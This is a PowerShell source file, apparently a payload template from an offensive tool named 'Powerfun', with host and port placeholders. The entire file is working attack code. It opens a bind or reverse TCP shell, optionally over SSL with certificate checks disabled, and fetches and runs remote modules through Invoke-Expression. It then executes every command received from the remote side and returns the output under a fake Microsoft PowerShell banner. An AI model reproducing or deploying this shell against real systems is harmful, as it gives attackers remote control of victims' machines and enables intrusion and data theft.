75 lines
2.3 KiB
PowerShell
75 lines
2.3 KiB
PowerShell
# Powerfun - Written by Ben Turner & Dave Hardy
|
|
|
|
function Get-Webclient
|
|
{
|
|
$wc = New-Object -TypeName Net.WebClient
|
|
$wc.UseDefaultCredentials = $true
|
|
$wc.Proxy.Credentials = $wc.Credentials
|
|
$wc
|
|
}
|
|
function powerfun
|
|
{
|
|
Param(
|
|
[String]$Command,
|
|
[String]$Sslcon,
|
|
[String]$Download
|
|
)
|
|
Process {
|
|
$modules = @(MODULES_REPLACE)
|
|
if ($Command -eq "bind")
|
|
{
|
|
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
|
|
$listener.start()
|
|
$client = $listener.AcceptTcpClient()
|
|
}
|
|
if ($Command -eq "reverse")
|
|
{
|
|
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
|
|
}
|
|
|
|
$stream = $client.GetStream()
|
|
|
|
if ($Sslcon -eq "true")
|
|
{
|
|
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
|
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
|
|
$stream = $sslStream
|
|
}
|
|
|
|
[byte[]]$bytes = 0..20000|%{0}
|
|
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
|
|
|
if ($Download -eq "true")
|
|
{
|
|
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
|
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
|
ForEach ($module in $modules)
|
|
{
|
|
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
|
}
|
|
}
|
|
|
|
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
|
|
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
|
{
|
|
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
|
$data = $EncodedText.GetString($bytes,0, $i)
|
|
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
|
|
|
|
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
|
|
$x = ($error[0] | Out-String)
|
|
$error.clear()
|
|
$sendback2 = $sendback2 + $x
|
|
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
|
$stream.Write($sendbyte,0,$sendbyte.Length)
|
|
$stream.Flush()
|
|
}
|
|
$client.Close()
|
|
$listener.Stop()
|
|
}
|
|
}
|